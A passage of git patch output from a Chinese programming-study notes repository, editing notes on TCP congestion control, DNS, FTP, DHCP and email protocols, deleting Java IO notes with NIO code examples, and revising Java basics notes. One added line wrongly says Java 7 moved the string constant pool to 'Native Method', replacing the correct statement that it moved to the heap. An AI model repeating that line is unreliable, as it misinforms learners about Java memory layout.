-在这种情况下，只是丢失个别报文段，而不是网络拥塞。因此执行快恢复，令 ssthresh = cwnd/2 ，cwnd = ssthresh，注意到此时直接进入拥塞避免。慢开始和快恢复的快慢指的是 cwnd 的设定值，而不是 cwnd 的增长速率。慢开始 cwnd 设定为 1，而快恢复 cwnd 设定为 ssthresh。
+在这种情况下，只是丢失个别报文段，而不是网络拥塞。因此执行快恢复，令 ssthresh = cwnd/2 ，cwnd = ssthresh，注意到此时直接进入拥塞避免。
+
+慢开始和快恢复的快慢指的是 cwnd 的设定值，而不是 cwnd 的增长速率。慢开始 cwnd 设定为 1，而快恢复 cwnd 设定为 ssthresh。
 
 <div align="center"> <img src="../pics//f61b5419-c94a-4df1-8d4d-aed9ae8cc6d5.png" width="600"/> </div><br>
 
@@ -733,23 +735,23 @@ TCP 主要通过四种算法来进行拥塞控制：慢开始、拥塞避免、
 
 ## 域名系统
 
-DNS 是一个分布式数据库，提供了主机名和 IP 地址之间的转换。这里的分布式数据库是指，每个站点只保留它自己的那部分数据。
+DNS 是一个分布式数据库，提供了主机名和 IP 地址之间相互转换的服务。这里的分布式数据库是指，每个站点只保留它自己的那部分数据。
 
-域名具有层次结构，从上到下依次为：根域名、顶级域名、第二级域名。
+域名具有层次结构，从上到下依次为：根域名、顶级域名、二级域名。
 
 <div align="center"> <img src="../pics//b54eeb16-0b0e-484c-be62-306f57c40d77.jpg"/> </div><br>
 
 DNS 可以使用 UDP 或者 TCP 进行传输，使用的端口号都为 53。大多数情况下 DNS 使用 UDP 进行传输，这就要求域名解析器和域名服务器都必须自己处理超时和重传来保证可靠性。在两种情况下会使用 TCP 进行传输：
 
-- 因为 UDP 最大只支持 512 字节的数据，如果返回的响应超过的 512 字节就改用 TCP 进行传输。
-- 区域传送是主域名服务器向辅助域名服务器传送变化的那部分数据，区域传送需要使用 TCP 进行传输。
+- 如果返回的响应超过的 512 字节就改用 TCP 进行传输（UDP 最大只支持 512 字节的数据）。
+- 区域传送需要使用 TCP 进行传输（区域传送是主域名服务器向辅助域名服务器传送变化的那部分数据）。
 
 ## 文件传送协议
 
 FTP 使用 TCP 进行连接，它需要两个连接来传送一个文件：
 
-- 控制连接：服务器以打开端口号 21 等待客户端的连接，客户端主动建立连接后，使用这个连接将客户端的命令传送给服务器，并传回服务器的应答。
-- 数据连接：用来传送一个文件。
+- 控制连接：服务器打开端口号 21 等待客户端的连接，客户端主动建立连接后，使用这个连接将客户端的命令传送给服务器，并传回服务器的应答。
+- 数据连接：用来传送一个文件数据。
 
 根据数据连接是否是服务器端主动建立，FTP 有主动和被动两种模式：
 
@@ -763,6 +765,21 @@ FTP 使用 TCP 进行连接，它需要两个连接来传送一个文件：
 
 主动模式要求客户端开放端口号给服务器端，需要去配置客户端的防火墙。被动模式只需要服务器端开放端口号即可，无需客户端配置防火墙。但是被动模式会导致服务器端的安全性减弱，因为开放了过多的端口号。
 
+## 动态主机配置协议
+
+DHCP (Dynamic Host Configuration Protocol) 提供了即插即用的连网方式，用户不再需要去手动配置 IP 地址等信息。
+
+DHCP 配置的内容不仅是 IP 地址，还包括子网掩码、网关 IP 地址。
+
+DHCP 工作过程如下：
+
+1. 客户端发送 Discover 报文，该报文的目的地址为 255.255.255.255:67，源地址为 0.0.0.0:68，被放入 UDP 中，该报文被广播到同一个子网的所有主机上。如果客户端和 DHCP 服务器不在同一个子网，就需要使用中继代理。
+2. DHCP 服务器收到 Discover 报文之后，发送 Offer 报文给客户端，该报文包含了客户端所需要的信息。因为客户端可能收到多个 DHCP 服务器提供的信息，因此客户端需要进行选择。
+3. 如果客户端选择了某个 DHCP 服务器提供的信息，那么就发送 Request 报文给该 DHCP 服务器。
+4. DHCP 服务器发送 Ack 报文，表示客户端此时可以使用提供给它的信息。
+
+<div align="center"> <img src="../pics//bf16c541-0717-473b-b75d-4115864f4fbf.jpg"/> </div><br>
+
 ## 远程登录协议
 
 TELNET 用于登录到远程主机上，并且远程主机上的输出也会返回。
@@ -777,34 +794,19 @@ TELNET 可以适应许多计算机和操作系统的差异，例如不同操作
 
 <div align="center"> <img src="../pics//7b3efa99-d306-4982-8cfb-e7153c33aab4.png" width="700"/> </div><br>
 
-### 1. POP3
-
-POP3 的特点是只要用户从服务器上读取了邮件，就把该邮件删除。
-
-### 2. IMAP
-
-IMAP 协议中客户端和服务器上的邮件保持同步，如果不去手动删除邮件，那么服务器上的邮件也不会被删除。IMAP 这种做法可以让用户随时随地去访问服务器上的邮件。
-
-### 3. SMTP
+### 1. SMTP
 
 SMTP 只能发送 ASCII 码，而互联网邮件扩充 MIME 可以发送二进制文件。MIME 并没有改动或者取代 SMTP，而是增加邮件主体的结构，定义了非 ASCII 码的编码规则。
 
 <div align="center"> <img src="../pics//ed5522bb-3a60-481c-8654-43e7195a48fe.png" width=""/> </div><br>
 
-## 动态主机配置协议
+### 2. POP3
 
-DHCP (Dynamic Host Configuration Protocol) 提供了即插即用的连网方式，用户不再需要去手动配置 IP 地址等信息。DHCP 配置的内容不仅是 IP 地址，还包括子网掩码、网关 IP 地址。
+POP3 的特点是只要用户从服务器上读取了邮件，就把该邮件删除。
 
-DHCP 工作过程如下：
+### 3. IMAP
 
-1. 客户端发送 Discover 报文，该报文的目的地址为 255.255.255.255:67，源地址为 0.0.0.0:68，被放入 UDP 中，该报文被广播到同一个子网的所有主机上。
-2. DHCP 服务器收到 Discover 报文之后，发送 Offer 报文给客户端，该报文包含了客户端所需要的信息。因为客户端可能收到多个 DHCP 服务器提供的信息，因此客户端需要进行选择。
-3. 如果客户端选择了某个 DHCP 服务器提供的信息，那么就发送 Request 报文给该 DHCP 服务器。
-4. DHCP 服务器发送 Ack 报文，表示客户端此时可以使用提供给它的信息。
-
-<div align="center"> <img src="../pics//bf16c541-0717-473b-b75d-4115864f4fbf.jpg"/> </div><br>
-
-如果客户端和 DHCP 服务器不在同一个子网，就需要使用中继代理。
+IMAP 协议中客户端和服务器上的邮件保持同步，如果不去手动删除邮件，那么服务器上的邮件也不会被删除。IMAP 这种做法可以让用户随时随地去访问服务器上的邮件。
 
 ## 常用端口
 

From a17a00fb22e38c47f53c339f8a980dfbf9852d63 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 7 Aug 2018 12:37:46 +0800
Subject: [PATCH 84/87] auto commit

---
 notes/Java IO.md        |  549 ---------------
 notes/Java 基础.md      |   34 +-
 notes/Java 容器.md      | 1052 -----------------------------
 notes/Redis.md          |  602 -----------------
 notes/SQL.md            |  763 ---------------------
 notes/分布式.md         |  355 ----------
 notes/数据库系统原理.md |  576 ----------------
 notes/正则表达式.md     |  385 -----------
 notes/消息队列.md       |   76 ---
 notes/算法.md           |    2 +-
 notes/系统设计基础.md   |  100 ---
 notes/缓存.md           |   13 +-
 notes/计算机网络.md     |  886 ------------------------
 notes/重构.md           | 1416 ---------------------------------------
 notes/集群.md           |  190 ------
 15 files changed, 27 insertions(+), 6972 deletions(-)

diff --git a/notes/Java IO.md b/notes/Java IO.md
index 08dc80f4..649f563a 100644
--- a/notes/Java IO.md	
+++ b/notes/Java IO.md	
@@ -1,553 +1,4 @@
 <!-- GFM-TOC -->
-* [一、概览](#一概览)
-* [二、磁盘操作](#二磁盘操作)
-* [三、字节操作](#三字节操作)
-* [四、字符操作](#四字符操作)
-* [五、对象操作](#五对象操作)
-* [六、网络操作](#六网络操作)
-    * [InetAddress](#inetaddress)
-    * [URL](#url)
-    * [Sockets](#sockets)
-    * [Datagram](#datagram)
-* [七、NIO](#七nio)
-    * [流与块](#流与块)
-    * [通道与缓冲区](#通道与缓冲区)
-    * [缓冲区状态变量](#缓冲区状态变量)
-    * [文件 NIO 实例](#文件-nio-实例)
-    * [选择器](#选择器)
-    * [套接字 NIO 实例](#套接字-nio-实例)
-    * [内存映射文件](#内存映射文件)
-    * [对比](#对比)
-* [八、参考资料](#八参考资料)
 <!-- GFM-TOC -->
 
 
-# 一、概览
-
-Java 的 I/O 大概可以分成以下几类：
-
-- 磁盘操作：File
-- 字节操作：InputStream 和 OutputStream
-- 字符操作：Reader 和 Writer
-- 对象操作：Serializable
-- 网络操作：Socket
-- 新的输入/输出：NIO
-
-# 二、磁盘操作
-
-File 类可以用于表示文件和目录的信息，但是它不表示文件的内容。
-
-递归地输出一个目录下所有文件：
-
-```java
-public static void listAllFiles(File dir)
-{
-    if (dir == null || !dir.exists()) {
-        return;
-    }
-    if (dir.isFile()) {
-        System.out.println(dir.getName());
-        return;
-    }
-    for (File file : dir.listFiles()) {
-        listAllFiles(file);
-    }
-}
-```
-
-# 三、字节操作
-
-使用字节流操作进行文件复制：
-
-```java
-public static void copyFile(String src, String dist) throws IOException
-{
-    FileInputStream in = new FileInputStream(src);
-    FileOutputStream out = new FileOutputStream(dist);
-    byte[] buffer = new byte[20 * 1024];
-    // read() 最多读取 buffer.length 个字节
-    // 返回的是实际读取的个数
-    // 返回 -1 的时候表示读到 eof，即文件尾
-    while (in.read(buffer, 0, buffer.length) != -1) {
-        out.write(buffer);
-    }
-    in.close();
-    out.close();
-}
-```
-
-<div align="center"> <img src="../pics//DP-Decorator-java.io.png" width="500"/> </div><br>
-
-Java I/O 使用了装饰者模式来实现。以 InputStream 为例，InputStream 是抽象组件，FileInputStream 是 InputStream 的子类，属于具体组件，提供了字节流的输入操作。FilterInputStream 属于抽象装饰者，装饰者用于装饰组件，为组件提供额外的功能，例如 BufferedInputStream 为 FileInputStream 提供缓存的功能。
-
-实例化一个具有缓存功能的字节流对象时，只需要在 FileInputStream 对象上再套一层 BufferedInputStream 对象即可。
-
-```java
-FileInputStream fileInputStream = new FileInputStream(filePath);
-BufferedInputStream bufferedInputStream = new BufferedInputStream(fileInputStream);
-```
-
-DataInputStream 装饰者提供了对更多数据类型进行输入的操作，比如 int、double 等基本类型。
-
-# 四、字符操作
-
-不管是磁盘还是网络传输，最小的存储单元都是字节，而不是字符。但是在程序中操作的通常是字符形式的数据，因此需要提供对字符进行操作的方法。
-
-- InputStreamReader 实现从字节流解码成字符流；
-- OutputStreamWriter 实现字符流编码成为字节流。
-
-逐行输出文本文件的内容：
-
-```java
-public static void readFileContent(String filePath) throws IOException
-{
-    FileReader fileReader = new FileReader(filePath);
-    BufferedReader bufferedReader = new BufferedReader(fileReader);
-    String line;
-    while ((line = bufferedReader.readLine()) != null) {
-        System.out.println(line);
-    }
-    // 装饰者模式使得 BufferedReader 组合了一个 Reader 对象
-    // 在调用 BufferedReader 的 close() 方法时会去调用 fileReader 的 close() 方法
-    // 因此只要一个 close() 调用即可
-    bufferedReader.close();
-}
-```
-
-编码就是把字符转换为字节，而解码是把字节重新组合成字符。
-
-如果编码和解码过程使用不同的编码方式那么就出现了乱码。
-
-- GBK 编码中，中文字符占 2 个字节，英文字符占 1 个字节；
-- UTF-8 编码中，中文字符占 3 个字节，英文字符占 1 个字节；
-- UTF-16be 编码中，中文字符和英文字符都占 2 个字节。
-
-UTF-16be 中的 be 指的是 Big Endian，也就是大端。相应地也有 UTF-16le，le 指的是 Little Endian，也就是小端。
-
-Java 使用双字节编码 UTF-16be，这不是指 Java 只支持这一种编码方式，而是说 char 这种类型使用 UTF-16be 进行编码。char 类型占 16 位，也就是两个字节，Java 使用这种双字节编码是为了让一个中文或者一个英文都能使用一个 char 来存储。
-
-String 可以看成一个字符序列，可以指定一个编码方式将它转换为字节序列，也可以指定一个编码方式将一个字节序列转换为 String。
-
-```java
-String str1 = "中文";
-byte[] bytes = str1.getBytes("UTF-8");
-String str2 = new String(bytes, "UTF-8");
-System.out.println(str2);
-```
-
-在调用无参数 getBytes() 方法时，默认的编码方式不是 UTF-16be。双字节编码的好处是可以使用一个 char 存储中文和英文，而将 String 转为 bytes[] 字节数组就不再需要这个好处，因此也就不再需要双字节编码。getBytes() 的默认编码方式与平台有关，一般为 UTF-8。
-
-```java
-byte[] bytes = str1.getBytes();
-```
-
-# 五、对象操作
-
-序列化就是将一个对象转换成字节序列，方便存储和传输。
-
-- 序列化：ObjectOutputStream.writeObject()
-- 反序列化：ObjectInputStream.readObject()
-
-序列化的类需要实现 Serializable 接口，它只是一个标准，没有任何方法需要实现，但是如果不去实现它的话而进行序列化，会抛出异常。
-
-```java
-public static void main(String[] args) throws IOException, ClassNotFoundException
-{
-    A a1 = new A(123, "abc");
-    String objectFile = "file/a1";
-    ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(objectFile));
-    objectOutputStream.writeObject(a1);
-    objectOutputStream.close();
-
-    ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(objectFile));
-    A a2 = (A) objectInputStream.readObject();
-    objectInputStream.close();
-    System.out.println(a2);
-}
-
-private static class A implements Serializable
-{
-    private int x;
-    private String y;
-
-    A(int x, String y)
-    {
-        this.x = x;
-        this.y = y;
-    }
-
-    @Override
-    public String toString()
-    {
-        return "x = " + x + "  " + "y = " + y;
-    }
-}
-```
-
-不会对静态变量进行序列化，因为序列化只是保存对象的状态，静态变量属于类的状态。
-
-transient 关键字可以使一些属性不会被序列化。
-
-**ArrayList 序列化和反序列化的实现** ：ArrayList 中存储数据的数组是用 transient 修饰的，因为这个数组是动态扩展的，并不是所有的空间都被使用，因此就不需要所有的内容都被序列化。通过重写序列化和反序列化方法，使得可以只序列化数组中有内容的那部分数据。
-
-```java
-private transient Object[] elementData;
-```
-
-# 六、网络操作
-
-Java 中的网络支持：
-
-- InetAddress：用于表示网络上的硬件资源，即 IP 地址；
-- URL：统一资源定位符；
-- Sockets：使用 TCP 协议实现网络通信；
-- Datagram：使用 UDP 协议实现网络通信。
-
-## InetAddress
-
-没有公有构造函数，只能通过静态方法来创建实例。
-
-```java
-InetAddress.getByName(String host);
-InetAddress.getByAddress(byte[] address);
-```
-
-## URL
-
-可以直接从 URL 中读取字节流数据。
-
-```java
-public static void main(String[] args) throws IOException
-{
-    URL url = new URL("http://www.baidu.com");
-    // 字节流
-    InputStream is = url.openStream();
-    // 字符流
-    InputStreamReader isr = new InputStreamReader(is, "utf-8");
-    BufferedReader br = new BufferedReader(isr);
-    String line = br.readLine();
-    while (line != null) {
-        System.out.println(line);
-        line = br.readLine();
-    }
-    br.close();
-}
-```
-
-## Sockets
-
-- ServerSocket：服务器端类
-- Socket：客户端类
-- 服务器和客户端通过 InputStream 和 OutputStream 进行输入输出。
-
-<div align="center"> <img src="../pics//ClienteServidorSockets1521731145260.jpg"/> </div><br>
-
-## Datagram
-
-- DatagramPacket：数据包类
-- DatagramSocket：通信类
-
-# 七、NIO
-
-- [Java NIO Tutorial](http://tutorials.jenkov.com/java-nio/index.html)
-- [Java NIO 浅析](https://tech.meituan.com/nio.html)
-- [IBM: NIO 入门](https://www.ibm.com/developerworks/cn/education/java/j-nio/j-nio.html)
-
-新的输入/输出 (NIO) 库是在 JDK 1.4 中引入的。NIO 弥补了原来的 I/O 的不足，提供了高速的、面向块的 I/O。
-
-## 流与块
-
-I/O 与 NIO 最重要的区别是数据打包和传输的方式，I/O 以流的方式处理数据，而 NIO 以块的方式处理数据。
-
-面向流的 I/O 一次处理一个字节数据：一个输入流产生一个字节数据，一个输出流消费一个字节数据。为流式数据创建过滤器非常容易，链接几个过滤器，以便每个过滤器只负责复杂处理机制的一部分。不利的一面是，面向流的 I/O 通常相当慢。
-
-面向块的 I/O 一次处理一个数据块，按块处理数据比按流处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。
-
-I/O 包和 NIO 已经很好地集成了，java.io.\* 已经以 NIO 为基础重新实现了，所以现在它可以利用 NIO 的一些特性。例如，java.io.\* 包中的一些类包含以块的形式读写数据的方法，这使得即使在面向流的系统中，处理速度也会更快。
-
-## 通道与缓冲区
-
-### 1. 通道
-
-通道 Channel 是对原 I/O 包中的流的模拟，可以通过它读取和写入数据。
-
-通道与流的不同之处在于，流只能在一个方向上移动，(一个流必须是 InputStream 或者 OutputStream 的子类)，而通道是双向的，可以用于读、写或者同时用于读写。
-
-通道包括以下类型：
-
-- FileChannel：从文件中读写数据；
-- DatagramChannel：通过 UDP 读写网络中数据；
-- SocketChannel：通过 TCP 读写网络中数据；
-- ServerSocketChannel：可以监听新进来的 TCP 连接，对每一个新进来的连接都会创建一个 SocketChannel。
-
-### 2. 缓冲区
-
-发送给一个通道的所有数据都必须首先放到缓冲区中，同样地，从通道中读取的任何数据都要先读到缓冲区中。也就是说，不会直接对通道进行读写数据，而是要先经过缓冲区。
-
-缓冲区实质上是一个数组，但它不仅仅是一个数组。缓冲区提供了对数据的结构化访问，而且还可以跟踪系统的读/写进程。
-
-缓冲区包括以下类型：
-
-- ByteBuffer
-- CharBuffer
-- ShortBuffer
-- IntBuffer
-- LongBuffer
-- FloatBuffer
-- DoubleBuffer
-
-## 缓冲区状态变量
-
-- capacity：最大容量；
-- position：当前已经读写的字节数；
-- limit：还可以读写的字节数。
-
-状态变量的改变过程举例：
-
-① 新建一个大小为 8 个字节的缓冲区，此时 position 为 0，而 limit = capacity = 8。capacity 变量不会改变，下面的讨论会忽略它。
-
-<div align="center"> <img src="../pics//1bea398f-17a7-4f67-a90b-9e2d243eaa9a.png"/> </div><br>
-
-② 从输入通道中读取 5 个字节数据写入缓冲区中，此时 position 移动设置为 5，limit 保持不变。
-
-<div align="center"> <img src="../pics//80804f52-8815-4096-b506-48eef3eed5c6.png"/> </div><br>
-
-③ 在将缓冲区的数据写到输出通道之前，需要先调用 flip() 方法，这个方法将 limit 设置为当前 position，并将 position 设置为 0。
-
-<div align="center"> <img src="../pics//952e06bd-5a65-4cab-82e4-dd1536462f38.png"/> </div><br>
-
-④ 从缓冲区中取 4 个字节到输出缓冲中，此时 position 设为 4。
-
-<div align="center"> <img src="../pics//b5bdcbe2-b958-4aef-9151-6ad963cb28b4.png"/> </div><br>
-
-⑤ 最后需要调用 clear() 方法来清空缓冲区，此时 position 和 limit 都被设置为最初位置。
-
-<div align="center"> <img src="../pics//67bf5487-c45d-49b6-b9c0-a058d8c68902.png"/> </div><br>
-
-## 文件 NIO 实例
-
-以下展示了使用 NIO 快速复制文件的实例：
-
-```java
-public static void fastCopy(String src, String dist) throws IOException
-{
-    FileInputStream fin = new FileInputStream(src);      /* 获取源文件的输入字节流 */
-    FileChannel fcin = fin.getChannel();                 /* 获取输入字节流的文件通道 */
-    FileOutputStream fout = new FileOutputStream(dist);  /* 获取目标文件的输出字节流 */
-    FileChannel fcout = fout.getChannel();               /* 获取输出字节流的通道 */
-    ByteBuffer buffer = ByteBuffer.allocateDirect(1024); /* 为缓冲区分配 1024 个字节 */
-    while (true) {
-        int r = fcin.read(buffer);                       /* 从输入通道中读取数据到缓冲区中 */
-        if (r == -1) {                                   /* read() 返回 -1 表示 EOF */
-            break;
-        }
-        buffer.flip();                                   /* 切换读写 */
-        fcout.write(buffer);                             /* 把缓冲区的内容写入输出文件中 */
-        buffer.clear();                                  /* 清空缓冲区 */
-    }
-}
-```
-
-## 选择器
-
-NIO 常常被叫做非阻塞 IO，主要是因为 NIO 在网络通信中的非阻塞特性被广泛使用。
-
-NIO 实现了 IO 多路复用中的 Reactor 模型，一个线程 Thread 使用一个选择器 Selector 通过轮询的方式去监听多个通道 Channel 上的事件，从而让一个线程就可以处理多个事件。
-
-通过配置监听的通道 Channel 为非阻塞，那么当 Channel 上的 IO 事件还未到达时，就不会进入阻塞状态一直等待，而是继续轮询其它 Channel，找到 IO 事件已经到达的 Channel 执行。
-
-因为创建和切换线程的开销很大，因此使用一个线程来处理多个事件而不是一个线程处理一个事件具有更好的性能。
-
-应该注意的是，只有套接字 Channel 才能配置为非阻塞，而 FileChannel 不能，为 FileChannel 配置非阻塞也没有意义。
-
-<div align="center"> <img src="../pics//4d930e22-f493-49ae-8dff-ea21cd6895dc.png"/> </div><br>
-
-### 1. 创建选择器
-
-```java
-Selector selector = Selector.open();
-```
-
-### 2. 将通道注册到选择器上
-
-```java
-ServerSocketChannel ssChannel = ServerSocketChannel.open();
-ssChannel.configureBlocking(false);
-ssChannel.register(selector, SelectionKey.OP_ACCEPT);
-```
-
-通道必须配置为非阻塞模式，否则使用选择器就没有任何意义了，因为如果通道在某个事件上被阻塞，那么服务器就不能响应其它事件，必须等待这个事件处理完毕才能去处理其它事件，显然这和选择器的作用背道而驰。
-
-在将通道注册到选择器上时，还需要指定要注册的具体事件，主要有以下几类：
-
-- SelectionKey.OP_CONNECT
-- SelectionKey.OP_ACCEPT
-- SelectionKey.OP_READ
-- SelectionKey.OP_WRITE
-
-它们在 SelectionKey 的定义如下：
-
-```java
-public static final int OP_READ = 1 << 0;
-public static final int OP_WRITE = 1 << 2;
-public static final int OP_CONNECT = 1 << 3;
-public static final int OP_ACCEPT = 1 << 4;
-```
-
-可以看出每个事件可以被当成一个位域，从而组成事件集整数。例如：
-
-```java
-int interestSet = SelectionKey.OP_READ | SelectionKey.OP_WRITE;
-```
-
-### 3. 监听事件
-
-```java
-int num = selector.select();
-```
-
-使用 select() 来监听到达的事件，它会一直阻塞直到有至少一个事件到达。
-
-### 4. 获取到达的事件
-
-```java
-Set<SelectionKey> keys = selector.selectedKeys();
-Iterator<SelectionKey> keyIterator = keys.iterator();
-while (keyIterator.hasNext()) {
-    SelectionKey key = keyIterator.next();
-    if (key.isAcceptable()) {
-        // ...
-    } else if (key.isReadable()) {
-        // ...
-    }
-    keyIterator.remove();
-}
-```
-
-### 5. 事件循环
-
-因为一次 select() 调用不能处理完所有的事件，并且服务器端有可能需要一直监听事件，因此服务器端处理事件的代码一般会放在一个死循环内。
-
-```java
-while (true) {
-    int num = selector.select();
-    Set<SelectionKey> keys = selector.selectedKeys();
-    Iterator<SelectionKey> keyIterator = keys.iterator();
-    while (keyIterator.hasNext()) {
-        SelectionKey key = keyIterator.next();
-        if (key.isAcceptable()) {
-            // ...
-        } else if (key.isReadable()) {
-            // ...
-        }
-        keyIterator.remove();
-    }
-}
-```
-
-## 套接字 NIO 实例
-
-```java
-public class NIOServer
-{
-    public static void main(String[] args) throws IOException
-    {
-        Selector selector = Selector.open();
-
-        ServerSocketChannel ssChannel = ServerSocketChannel.open();
-        ssChannel.configureBlocking(false);
-        ssChannel.register(selector, SelectionKey.OP_ACCEPT);
-
-        ServerSocket serverSocket = ssChannel.socket();
-        InetSocketAddress address = new InetSocketAddress("127.0.0.1", 8888);
-        serverSocket.bind(address);
-
-        while (true) {
-            selector.select();
-            Set<SelectionKey> keys = selector.selectedKeys();
-            Iterator<SelectionKey> keyIterator = keys.iterator();
-            while (keyIterator.hasNext()) {
-                SelectionKey key = keyIterator.next();
-                if (key.isAcceptable()) {
-                    ServerSocketChannel ssChannel1 = (ServerSocketChannel) key.channel();
-                    // 服务器会为每个新连接创建一个 SocketChannel
-                    SocketChannel sChannel = ssChannel1.accept();
-                    sChannel.configureBlocking(false);
-                    // 这个新连接主要用于从客户端读取数据
-                    sChannel.register(selector, SelectionKey.OP_READ);
-                } else if (key.isReadable()) {
-                    SocketChannel sChannel = (SocketChannel) key.channel();
-                    System.out.println(readDataFromSocketChannel(sChannel));
-                    sChannel.close();
-                }
-                keyIterator.remove();
-            }
-        }
-    }
-
-    private static String readDataFromSocketChannel(SocketChannel sChannel) throws IOException {
-        ByteBuffer buffer = ByteBuffer.allocate(1024);
-        StringBuilder data = new StringBuilder();
-        while (true) {
-            buffer.clear();
-            int n = sChannel.read(buffer);
-            if (n == -1) {
-                break;
-            }
-            buffer.flip();
-            int limit = buffer.limit();
-            char[] dst = new char[limit];
-            for (int i = 0; i < limit; i++) {
-                dst[i] = (char) buffer.get(i);
-            }
-            data.append(dst);
-            buffer.clear();
-        }
-        return data.toString();
-    }
-}
-```
-
-```java
-public class NIOClient
-{
-    public static void main(String[] args) throws IOException 
-    {
-        Socket socket = new Socket("127.0.0.1", 8888);
-        OutputStream out = socket.getOutputStream();
-        String s = "hello world";
-        out.write(s.getBytes());
-        out.close();
-    }
-}
-```
-
-## 内存映射文件
-
-内存映射文件 I/O 是一种读和写文件数据的方法，它可以比常规的基于流或者基于通道的 I/O 快得多。
-
-向内存映射文件写入可能是危险的，仅只是改变数组的单个元素这样的简单操作，就可能会直接修改磁盘上的文件。修改数据与将数据保存到磁盘是没有分开的。
-
-下面代码行将文件的前 1024 个字节映射到内存中，map() 方法返回一个 MappedByteBuffer，它是 ByteBuffer 的子类。因此，您可以像使用其他任何 ByteBuffer 一样使用新映射的缓冲区，操作系统会在需要时负责执行映射。
-
-```java
-MappedByteBuffer mbb = fc.map(FileChannel.MapMode.READ_WRITE, 0, 1024);
-```
-
-## 对比
-
-NIO 与普通 I/O 的区别主要有以下两点：
-
-- NIO 是非阻塞的
-- NIO 面向块，I/O 面向流
-
-# 八、参考资料
-
-- Eckel B, 埃克尔, 昊鹏, 等. Java 编程思想 [M]. 机械工业出版社, 2002.
-- [IBM: NIO 入门](https://www.ibm.com/developerworks/cn/education/java/j-nio/j-nio.html)
-- [IBM: 深入分析 Java I/O 的工作机制](https://www.ibm.com/developerworks/cn/java/j-lo-javaio/index.html)
-- [IBM: 深入分析 Java 中的中文编码问题](https://www.ibm.com/developerworks/cn/java/j-lo-chinesecoding/index.htm)
-- [IBM: Java 序列化的高级认识](https://www.ibm.com/developerworks/cn/java/j-lo-serial/index.html)
-- [NIO 与传统 IO 的区别](http://blog.csdn.net/shimiso/article/details/24990499)
-- [Decorator Design Pattern](http://stg-tud.github.io/sedc/Lecture/ws13-14/5.3-Decorator.html#mode=document)
-- [Socket Multicast](http://labojava.blogspot.com/2012/12/socket-multicast.html)
diff --git a/notes/Java 基础.md b/notes/Java 基础.md
index f5133a6f..bcb94acc 100644
--- a/notes/Java 基础.md	
+++ b/notes/Java 基础.md	
@@ -4,7 +4,7 @@
     * [缓存池](#缓存池)
 * [二、String](#二string)
     * [概览](#概览)
-    * [String 不可变的好处](#string-不可变的好处)
+    * [不可变的好处](#不可变的好处)
     * [String, StringBuffer and StringBuilder](#string,-stringbuffer-and-stringbuilder)
     * [String.intern()](#stringintern)
 * [三、运算](#三运算)
@@ -153,7 +153,7 @@ public final class String
     private final char value[];
 ```
 
-## String 不可变的好处
+## 不可变的好处
 
 **1. 可以缓存 hash 值** 
 
@@ -212,7 +212,7 @@ String s5 = "bbb";
 System.out.println(s4 == s5);  // true
 ```
 
-在 Java 7 之前，字符串常量池被放在运行时常量池中，它属于永久代。而在 Java 7，字符串常量池被放在堆中。这是因为永久代的空间有限，在大量使用字符串的场景下会导致 OutOfMemoryError 错误。
+在 Java 7 之前，字符串常量池被放在运行时常量池中，它属于永久代。而在 Java 7，字符串常量池被移到 Native Method 中。这是因为永久代的空间有限，在大量使用字符串的场景下会导致 OutOfMemoryError 错误。
 
 - [StackOverflow : What is String interning?](https://stackoverflow.com/questions/10578984/what-is-string-interning) 
 - [深入解析 String#intern](https://tech.meituan.com/in_depth_understanding_string_intern.html)
@@ -583,19 +583,7 @@ protected void finalize() throws Throwable {}
 
 ## equals()
 
-**1. equals() 与 == 的区别** 
-
-- 对于基本类型，== 判断两个值是否相等，基本类型没有 equals() 方法。
-- 对于引用类型，== 判断两个实例是否引用同一个对象，而 equals() 判断引用的对象是否等价，根据引用的对象的 equals() 方法的具体实现来进行比较。
-
-```java
-Integer x = new Integer(1);
-Integer y = new Integer(1);
-System.out.println(x.equals(y)); // true
-System.out.println(x == y);      // false
-```
-
-**2. 等价关系** 
+**1. 等价关系** 
 
 （一）自反性
 
@@ -632,6 +620,18 @@ x.equals(y) == x.equals(y); // true
 x.equals(null); // false;
 ```
 
+**2. equals() 与 ==** 
+
+- 对于基本类型，== 判断两个值是否相等，基本类型没有 equals() 方法。
+- 对于引用类型，== 判断两个实例是否引用同一个对象，而 equals() 判断引用的对象是否等价，根据引用对象 equals() 方法的具体实现来进行比较。
+
+```java
+Integer x = new Integer(1);
+Integer y = new Integer(1);
+System.out.println(x.equals(y)); // true
+System.out.println(x == y);      // false
+```
+
 **3. 实现** 
 
 - 检查是否为同一个对象的引用，如果是直接返回 true；
@@ -1005,7 +1005,7 @@ public class A {
 
 **4. 静态内部类** 
 
-非静态内部类依赖于需要外部类的实例，而静态内部类不需要。
+非静态内部类依赖于外部类的实例，而静态内部类不需要。
 
 ```java
 public class OuterClass {
diff --git a/notes/Java 容器.md b/notes/Java 容器.md
index c6fc88f4..649f563a 100644
--- a/notes/Java 容器.md	
+++ b/notes/Java 容器.md	
@@ -1,1056 +1,4 @@
 <!-- GFM-TOC -->
-* [一、概览](#一概览)
-    * [Collection](#collection)
-    * [Map](#map)
-* [二、容器中的设计模式](#二容器中的设计模式)
-    * [迭代器模式](#迭代器模式)
-    * [适配器模式](#适配器模式)
-* [三、源码分析](#三源码分析)
-    * [ArrayList](#arraylist)
-    * [Vector](#vector)
-    * [CopyOnWriteArrayList](#copyonwritearraylist)
-    * [LinkedList](#linkedlist)
-    * [HashMap](#hashmap)
-    * [ConcurrentHashMap](#concurrenthashmap)
-    * [LinkedHashMap](#linkedhashmap)
-    * [WeekHashMap](#weekhashmap)
-* [参考资料](#参考资料)
 <!-- GFM-TOC -->
 
 
-# 一、概览
-
-容器主要包括 Collection 和 Map 两种，Collection 又包含了 List、Set 以及 Queue。
-
-## Collection
-
-<div align="center"> <img src="../pics//java-collections.png"/> </div><br>
-
-### 1. Set
-
-- HashSet：基于哈希实现，支持快速查找，但不支持有序性操作，例如根据一个范围查找元素的操作。并且失去了元素的插入顺序信息，也就是说使用 Iterator 遍历 HashSet 得到的结果是不确定的。
-
-- TreeSet：基于红黑树实现，支持有序性操作，但是查找效率不如 HashSet，HashSet 查找时间复杂度为 O(1)，TreeSet 则为 O(logN)。
-
-- LinkedHashSet：具有 HashSet 的查找效率，且内部使用链表维护元素的插入顺序。
-
-### 2. List
-
-- ArrayList：基于动态数组实现，支持随机访问。
